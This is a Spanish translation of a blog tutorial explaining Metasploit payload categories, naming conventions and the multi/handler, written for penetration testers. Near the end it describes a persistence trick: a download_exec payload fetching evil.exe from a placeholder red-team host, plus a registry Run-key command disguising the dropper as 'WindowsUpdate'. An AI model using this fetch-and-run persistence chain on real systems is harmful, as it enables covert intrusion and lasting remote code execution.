Payloads de Metasploit Explicados - Parte 1

Este artículo se encuentra basado en el post Metasploit Payloads Explained - Part 1 publicado por Rob Fuller a.k.a @mubix

La selección de payloads es algo sobre lo cual raramente se habla en detalle. La mayoría de la pruebas de concepto (PoC) solo utilizan calc.exe, netcat, o alguna clase de socket. La vasta mayoría de tutoriales de Metasploit, videos y documentación utilizan el payload windows/meterpreter/reverse_tcp el cual es uno de los 224 payloads posibles. Una pequeña advertencia: Ya que los payloads en Metasploit no se actualizan con la misma frecuencia como otros componentes de Metasploit, este es un punto en la documentación de estos (Junio 23, 2011) y los payloads disponibles en Metasploit están cambiando constantemente. Los reto a continuar haciendo un 'show payloads' y ver que hay de nuevo.

Si ejecutamos 'show payloads' en la base de la consola de Metasploit (msf>), veremos todos los payloads disponibles en Metasploit. Sin embargo, los desarrolladores de módulos de exploits pueden ayudar un poco al usuario con su selección ubicando limitadores especiales dentro de su módulo. Estos limitadores pueden ser tan específicos como el apuntar a un payload específico, o tan general como el especificar que solo trabajará con un payload de 'windows'. Como ejemplo decente de esta acción revisemos el módulo de exploit JBoss "bshdeployer" (modules/exploits/multi/http/jboss_bshdeployer.rb).

Los payloads que tiene Metasploit se desglosan en 'staged', 'stagers', y 'singles (también conocidos como Inline)'. La diferencia entre 'staged' y 'stagers' es muy simple, los payloads 'staged' utilizan pequeños 'stagers' para poder ajustarse en pequeños espacios de explotación. Durante la explotación, el desarrollador del exploit por lo regular tiene una muy limitada cantidad de memoria que pueda manipular a través de las entradas de los programas que están explotando. Los stagers van en este espacio y su único trabajo derribar el resto del payload 'staged'. La desventaja de este tipo de payloads es que requieren una conexión a algo que les palanqueará el resto del payload. Los payloads Inline o 'singles' no tienen este problema. Estos se encuentran auto-contenidos y hacen lo que estan diseñados a hacer sin asistencia alguna.

Todos los exploits en Metasploit utilizan el único y conocido Multi Handler. Lo podemos llamar así por la forma en como lo invocamos:

msf> use multi/handler

Es un título apropiado, ya que se encuentra equipado para manejar cada uno de los exploits dentro de Metasploit sin importar la arquitectura o el tipo de conexión que se esté haciendo. Sabe cómo tratar con cada tipo de payload porque le decimos que esperar, pero eso no quita el hecho de que en esta sencilla utilidad se encuentra el escalón fundamental para todas la explotaciones con Metasploit.

La estructura de la mayoría de los payloads dice exactamente lo que hacen, pero no siempre. Si dice en la descripción que en un payload "Inline" eso significa es que es un payload single (independiente), si dice que es un "Stager" significa que es un payload montable. Vamos a ver algunos de los menos conocidos:

cmd/windows/adduser - Este es un payload individual que ejecuta "net user /add" con el nombre de usuario y contraseña que hemos especificado. Este payload no indica que es "Inline" pero todos los payloads de los grupos "cmd/*" o "*/exec" son individuales.

osx/armle/vibrate - Un payload individual que cuando se ejecuta en un iPhone, lo hace vibrar.

generic/debug_trap - Dispara un depurador si se adjunta al proceso (envia un byte simple \xCC 'break')

Una cosa que no es inmediatamente obvia es otro marcador de los payloads montables (staged) vs. los individuales (singles):

osx/ppc/shell/reverse_tcp

osx/ppc/shell_reverse_tcp

La diferencia entre estos dos payloads no es mas obvia que el hecho que una tiene un underscore '_' en lugar de un forward slash '/'. El payload con el underscore significa que es un payload individual mientras que el otro significa que es un payload montable. Pero la arquitectura de la convención de nombramiento de estos payloads es un poco complicada. La mayoria se ajustan a OS/ARCHITECTURE/TYPE/PAYLOAD donde un slash en lugar de un underscore entre TYPE y PAYLOAD significará la diferencia que acabamos de tratar. Pero no todos los payloads se ajustan a este formato. Podemos incluso enloquecernos e ir a revisar el directorio: msfdirectory/modules/payloads/ - todo en el directorio singles, es efectivamente un payload individual.

Los payloads individuales son los mejores para disparar y olvidarnos de ellos, son utilizados como payloads para memorias USB (de tal forma que la máquina no tiene que tener una conexión para hacer lo que se necesita) hasta llegar a un método de persistencia muy astuto. Uno que he utilizado con frecuencia en CCDC era el del payload: 'windows/download_exec'. La única opción que tiene este payload individual es "URL". Aqui se define algo como http://www.redteam.com/evil.exe y se genera el binario:

(Si, es posible utilizar msfpayload o msfvenom en la línea de comando para generar payloads, pero me gusta permanecer dentro de msfconsole).

Entonces definimos eso a auto iniciar cuando alguien inicie sesión como :

meterpreter > reg setval -k "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" -v "WindowsUpdate" -d "C:\\Windows\\dropper.exe"

Ahora todo lo que tenemos que hacer es esperar por logins. Si sucede que encuentran nuestro binario evil.exe (el cual download_exec lo hace "a.exe"y lo pone en System32), y bloquean nuestra IP, todo lo que hacer es reemplazar evil.exe en nuestro servidor web y esperar a que este descargue uno nuevo. Una forma cruda de persistencia, pero funciona bien.

Yo voy a terminar esto con una lista de todos los payloads... En el próximo artículo veremos Meterpreter, el mejor payload en mi humilde y totalmente imparcial opinión -;), con un poco de pivotaje lanzado en buena medida.